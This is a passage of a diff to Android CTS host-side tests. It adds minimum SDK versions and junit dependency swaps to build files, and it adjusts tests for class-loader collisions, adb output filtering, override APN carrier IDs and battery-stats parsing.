--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/src/com/android/cts/useslibrary/UsesLibraryTest.java
@@ -30,6 +30,7 @@
 import java.io.File;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
+import java.util.Arrays;
 
 public class UsesLibraryTest extends InstrumentationTestCase {
     private static final String TAG = "UsesLibraryTest";
@@ -75,26 +76,23 @@
         ClassLoader loader = getClass().getClassLoader();
         if (loader instanceof BaseDexClassLoader) {
             Object[] dexElements = getDexElementsFromClassLoader((BaseDexClassLoader) loader);
-            assertTrue(dexElements != null && dexElements.length > 1);
+            assertTrue(dexElements != null);
+            assertTrue(dexElements.length > 0);
 
-            // First dex file is either the shared library or the cts instrumentation library.
-            DexFile libDexFile = getDexFileFromDexElement(dexElements[0]);
-            String libPath = libDexFile.getName();
             // The last dex file should be the test apk file: com.android.cts.useslibrary.
             DexFile apkDexFile = getDexFileFromDexElement(dexElements[dexElements.length - 1]);
             String apkPath = apkDexFile.getName();
 
             // In order to ensure the collision check is executed we use the apkDexFile when
             // constructing the test class path for duplicates.
-            // We do not use the shared libraries apks because they are compiled with a special
-            // marker which may skip the collision check (b/37777332).
-            String testPath = libPath + File.pathSeparator + apkPath + File.pathSeparator + apkPath;
+            String testPath = apkPath + File.pathSeparator + apkPath;
 
             PathClassLoader testLoader = new PathClassLoader(testPath, null);
             Object[] testDexElements = getDexElementsFromClassLoader(testLoader);
-            assertTrue(testDexElements != null && testDexElements.length == 3);
+            assertTrue(testDexElements != null);
+            assertEquals(Arrays.toString(testDexElements), 2, testDexElements.length);
 
-            DexFile testDexFile = getDexFileFromDexElement(testDexElements[2]);
+            DexFile testDexFile = getDexFileFromDexElement(testDexElements[1]);
             assertFalse(isDexFileBackedByOatFile(testDexFile));
         }
     }
diff --git a/hostsidetests/compilation/Android.mk b/hostsidetests/compilation/Android.mk
index 09c8507..5a27baf 100644
--- a/hostsidetests/compilation/Android.mk
+++ b/hostsidetests/compilation/Android.mk
@@ -27,9 +27,9 @@
 
 LOCAL_MODULE := CtsCompilationTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+LOCAL_MIN_SDK_VERSION := 23
 
-LOCAL_STATIC_JAVA_LIBRARIES := guavalib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util guava
 
 include $(BUILD_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
index 591dcb4..0f0e13b 100644
--- a/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
+++ b/hostsidetests/compilation/src/android/cts/compilation/AdbRootDependentCompilationTest.java
@@ -31,6 +31,7 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.EnumSet;
+import java.util.Iterator;
 import java.util.List;
 import java.util.Locale;
 import java.util.Set;
@@ -77,6 +78,8 @@
     private File apkFile;
     private boolean mCanEnableDeviceRootAccess;
 
+    private Matcher mAdbLineFilter;
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -104,6 +107,9 @@
         assertTrue("empty profile", profileBytes.length > 0); // sanity check
         textProfileFile = File.createTempFile("compilationtest", "prof.txt");
         Files.write(profileBytes, textProfileFile);
+
+        // Ignore issues in cmd.
+        mAdbLineFilter = Pattern.compile("FORTIFY: pthread_mutex_lock.*").matcher("");
     }
 
     @Override
@@ -351,9 +357,25 @@
         return propUseJitProfiles;
     }
 
+    private String[] filterAdbLines(String[] lines) {
+        List<String> linesList = new ArrayList<String>(Arrays.asList(lines));
+        Iterator<String> it = linesList.iterator();
+        while (it.hasNext()) {
+            String line = it.next();
+            mAdbLineFilter.reset(line);
+            if (mAdbLineFilter.matches()) {
+                it.remove();
+            }
+        }
+        if (linesList.size() != lines.length) {
+            return linesList.toArray(new String[linesList.size()]);
+        }
+        return lines;
+    }
+
     private String[] executeSuShellAdbCommand(int numLinesOutputExpected, String... command)
             throws DeviceNotAvailableException {
-        String[] lines = executeSuShellAdbCommand(command);
+        String[] lines = filterAdbLines(executeSuShellAdbCommand(command));
         assertEquals(
                 String.format(Locale.US, "Expected %d lines output, got %d running %s: %s",
                         numLinesOutputExpected, lines.length, Arrays.toString(command),
@@ -369,7 +391,7 @@
         String output = mDevice.executeShellCommand("su root " + cmdString);
         // "".split() returns { "" }, but we want an empty array
         String[] lines = output.equals("") ? new String[0] : output.split("\n");
-        return lines;
+        return filterAdbLines(lines);
     }
 
     private String getSelinuxLabel(String path) throws DeviceNotAvailableException {
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
index 5746089..22f3436 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.mk
@@ -36,5 +36,6 @@
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 25
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
index b3adc70..7706e73 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.mk
@@ -30,5 +30,6 @@
 LOCAL_STATIC_JAVA_LIBRARIES := androidx.legacy_legacy-support-v4 ctstestrunner ub-uiautomator android-support-test
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 25
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
index 78795cf..3aed12d 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.mk
@@ -25,6 +25,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 24
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
index 86440fc..18256f6 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.mk
@@ -27,6 +27,7 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
index 020d0bd..d1a2d21 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.mk
@@ -32,7 +32,7 @@
 
 LOCAL_AIDL_INCLUDES := $(LOCAL_PATH)/src
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
@@ -57,7 +57,7 @@
 
 LOCAL_AIDL_INCLUDES := $(LOCAL_PATH)/src
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
 
diff --git a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
index 8ff609d..009a289 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
+++ b/hostsidetests/devicepolicy/app/CrossProfileAppsTest/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := cts-junit
+LOCAL_JAVA_LIBRARIES := junit
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
 	androidx.legacy_legacy-support-v4 \
@@ -34,6 +34,7 @@
 	ub-uiautomator
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 21
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
index 81d98f1..2cea654 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.mk
@@ -33,5 +33,6 @@
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 24
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
index 1d0be1d..711c44b 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
     androidx.legacy_legacy-support-v4 \
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
index 5cf7f05..2d3a367 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api23/Android.mk
@@ -33,6 +33,7 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 23
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
index a7c7470..c19d0c0 100644
--- a/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAdmin/api24/Android.mk
@@ -33,6 +33,7 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 23
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
index 1599d60..3c70869 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api23/Android.mk
@@ -44,6 +44,8 @@
 
 LOCAL_ASSET_DIR := $(LOCAL_PATH)/../assets
 
+LOCAL_MIN_SDK_VERSION := 23
+
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
index 481f821..68bef1b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/api25/Android.mk
@@ -44,6 +44,8 @@
 
 LOCAL_ASSET_DIR := $(LOCAL_PATH)/../assets
 
+LOCAL_MIN_SDK_VERSION := 23
+
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
index 8c6d3fd..6a71be9 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/latest/Android.mk
@@ -44,6 +44,8 @@
 
 LOCAL_ASSET_DIR := $(LOCAL_PATH)/../assets
 
+LOCAL_MIN_SDK_VERSION := 23
+
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
index c3f6d124..ecf9dbf 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/Android.mk
@@ -30,9 +30,9 @@
 
 LOCAL_JAVA_LIBRARIES := \
     android.test.runner.stubs \
-    cts-junit \
+    junit \
     android.test.base.stubs \
-    bouncycastle
+    bouncycastle-unbundled
 
 LOCAL_USE_AAPT2 := true
 
@@ -46,6 +46,8 @@
 LOCAL_STATIC_ANDROID_LIBRARIES := \
     androidx.legacy_legacy-support-v4
 
+LOCAL_MIN_SDK_VERSION := 20
+
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
 
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
old mode 100755
new mode 100644
index 3227770..bbe6855
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/CreateAndManageUserTest.java
@@ -379,8 +379,6 @@
         localBroadcastManager.registerReceiver(broadcastReceiver,
                 new IntentFilter(BasicAdminReceiver.ACTION_USER_STOPPED));
 
-        Thread.sleep(USER_SWITCH_DELAY);
-
         try {
             assertEquals(UserManager.USER_OPERATION_SUCCESS,
                     mDevicePolicyManager.stopUser(getWho(), userHandle));
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/OverrideApnTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/OverrideApnTest.java
index f95d835..f548c4d 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/OverrideApnTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/OverrideApnTest.java
@@ -44,6 +44,8 @@
     private static final int TEST_NETWORK_TYPE_BITMASK = TelephonyManager.NETWORK_TYPE_CDMA;
     private static final int TEST_MVNO_TYPE = ApnSetting.MVNO_TYPE_GID;
     private static final boolean TEST_ENABLED = true;
+    private static final int TEST_CARRIER_ID = 100;
+    private static final int UPDATE_CARRIER_ID = 101;
 
     private static final ApnSetting testApnFull;
     static {
@@ -65,6 +67,7 @@
             .setNetworkTypeBitmask(TEST_NETWORK_TYPE_BITMASK)
             .setMvnoType(TEST_MVNO_TYPE)
             .setCarrierEnabled(TEST_ENABLED)
+            .setCarrierId(TEST_CARRIER_ID)
             .build();
     }
 
@@ -110,6 +113,7 @@
         assertEquals(TEST_ENABLED, apnList.get(0).isEnabled());
         assertEquals(TEST_MVNO_TYPE, apnList.get(0).getMvnoType());
         assertEquals(TEST_NETWORK_TYPE_BITMASK, apnList.get(0).getNetworkTypeBitmask());
+        assertEquals(TEST_CARRIER_ID, apnList.get(0).getCarrierId());
 
         assertTrue(mDevicePolicyManager.removeOverrideApn(getWho(), insertedId));
         apnList = mDevicePolicyManager.getOverrideApns(getWho());
@@ -162,6 +166,7 @@
             .setNetworkTypeBitmask(TEST_NETWORK_TYPE_BITMASK)
             .setMvnoType(TEST_MVNO_TYPE)
             .setCarrierEnabled(TEST_ENABLED)
+            .setCarrierId(UPDATE_CARRIER_ID)
             .build();
         assertTrue(mDevicePolicyManager.updateOverrideApn(getWho(), insertedId, updateApn));
 
@@ -184,6 +189,7 @@
         assertEquals(TEST_PROTOCOL, apnList.get(0).getRoamingProtocol());
         assertEquals(TEST_ENABLED, apnList.get(0).isEnabled());
         assertEquals(TEST_MVNO_TYPE, apnList.get(0).getMvnoType());
+        assertEquals(UPDATE_CARRIER_ID, apnList.get(0).getCarrierId());
 
         assertTrue(mDevicePolicyManager.removeOverrideApn(getWho(), insertedId));
     }
@@ -216,6 +222,7 @@
         assertEquals(-1, apnList.get(0).getRoamingProtocol());
         assertEquals(false, apnList.get(0).isEnabled());
         assertEquals(-1, apnList.get(0).getMvnoType());
+        assertEquals(-1, apnList.get(0).getCarrierId());
 
         assertTrue(mDevicePolicyManager.removeOverrideApn(getWho(), insertedId));
     }
diff --git a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
index 60395c2..bb2393c 100644
--- a/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentReceiver/Android.mk
@@ -31,6 +31,7 @@
     ctstestrunner
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 19
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/IntentSender/Android.mk b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
index 5cc3b7a..1551bea 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/Android.mk
+++ b/hostsidetests/devicepolicy/app/IntentSender/Android.mk
@@ -36,6 +36,7 @@
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 19
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
index 0475e30..f744237 100644
--- a/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTests/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := cts-junit android.test.base.stubs
+LOCAL_JAVA_LIBRARIES := junit android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
 	androidx.legacy_legacy-support-v4 \
@@ -35,6 +35,7 @@
 	testng
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 21
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
index 932f691..935be3b 100644
--- a/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
+++ b/hostsidetests/devicepolicy/app/LauncherTestsSupport/Android.mk
@@ -24,9 +24,10 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := cts-junit
+LOCAL_JAVA_LIBRARIES := junit
 
 LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 21
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
index 6a02fd1..0cba8bd 100644
--- a/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
+++ b/hostsidetests/devicepolicy/app/ManagedProfile/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit android.test.base.stubs
 
 LOCAL_USE_AAPT2 := true
 
@@ -39,6 +39,7 @@
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 20
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
index a1514ff..f60242c 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/Android.mk
@@ -32,6 +32,7 @@
     ub-uiautomator
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 21
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
index dd76558..98e1e87 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/Android.mk
@@ -19,6 +19,8 @@
 LOCAL_PACKAGE_NAME := CtsProfileOwnerApp
 LOCAL_PRIVATE_PLATFORM_APIS := true
 
+LOCAL_MIN_SDK_VERSION := 24
+
 LOCAL_MODULE_TAGS := optional
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
@@ -27,7 +29,7 @@
 
 LOCAL_JAVA_LIBRARIES := \
     android.test.runner.stubs \
-    cts-junit \
+    junit \
     android.test.base.stubs \
 
 
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
index 4cdbeee..a385e1c 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 
 LOCAL_STATIC_JAVA_LIBRARIES = \
     androidx.legacy_legacy-support-v4 \
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
index 8f39155..3941a50 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.legacy_legacy-support-v4 \
@@ -35,6 +35,7 @@
     testng
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 24
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
index aeacb40..afe245c 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     androidx.legacy_legacy-support-v4 \
@@ -35,6 +35,7 @@
     testng
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 24
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/dexmetadata/host/AndroidTest.xml b/hostsidetests/dexmetadata/host/AndroidTest.xml
index 3f1603d..a370280 100644
--- a/hostsidetests/dexmetadata/host/AndroidTest.xml
+++ b/hostsidetests/dexmetadata/host/AndroidTest.xml
@@ -15,7 +15,7 @@
 -->
 <configuration description="Config for CTS Dex Metadata host test cases">
     <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDexMetadataDeviceTestApp.apk" />
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
index c6e8104..bd6f0d73 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := cts-junit
+LOCAL_JAVA_LIBRARIES := junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
@@ -32,6 +32,7 @@
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
+LOCAL_MIN_SDK_VERSION := 24
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
index dd0fb9c..a0af404 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
diff --git a/hostsidetests/dumpsys/apps/storagedapp/Android.mk b/hostsidetests/dumpsys/apps/storagedapp/Android.mk
index 6364855..f163691 100644
--- a/hostsidetests/dumpsys/apps/storagedapp/Android.mk
+++ b/hostsidetests/dumpsys/apps/storagedapp/Android.mk
@@ -24,7 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
+LOCAL_JAVA_LIBRARIES := android.test.runner.stubs junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
     ctstestrunner \
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 0614db6..32fffdb 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -17,6 +17,7 @@
 package android.dumpsys.cts;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.log.LogUtil.CLog;
 
 import java.io.BufferedReader;
 import java.io.File;
@@ -54,155 +55,161 @@
                 }
 
 
-                // With a default limit of 0, empty strings at the end are discarded.
-                // We still consider the empty string as a valid value in some cases.
-                // Using any negative number for the limit will preserve a trailing empty string.
-                // @see String#split(String, int)
-                String[] parts = line.split(",", -1);
-                assertInteger(parts[0]); // old version
-                assertInteger(parts[1]); // UID
-                switch (parts[2]) { // aggregation type
-                    case "i":
-                    case "l":
-                    case "c":
-                    case "u":
-                        break;
-                    default:
-                        fail("malformed stat: " + parts[2]);
-                }
-                assertNotNull(parts[3]);
-                seenTags.add(parts[3]);
+                try {
+                    // With a default limit of 0, empty strings at the end are discarded.
+                    // We still consider the empty string as a valid value in some cases.
+                    // Using any negative number for the limit will preserve a trailing empty string.
+                    // @see String#split(String, int)
+                    String[] parts = line.split(",", -1);
+                    assertInteger(parts[0]); // old version
+                    assertInteger(parts[1]); // UID
+                    switch (parts[2]) { // aggregation type
+                        case "i":
+                        case "l":
+                        case "c":
+                        case "u":
+                            break;
+                        default:
+                            fail("malformed stat: " + parts[2]);
+                    }
+                    assertNotNull(parts[3]);
+                    seenTags.add(parts[3]);
 
-                // Note the time fields are measured in milliseconds by default.
-                switch (parts[3]) {
-                    case "vers":
-                        checkVersion(parts);
-                        break;
-                    case "uid":
-                        checkUid(parts);
-                        break;
-                    case "apk":
-                        checkApk(parts);
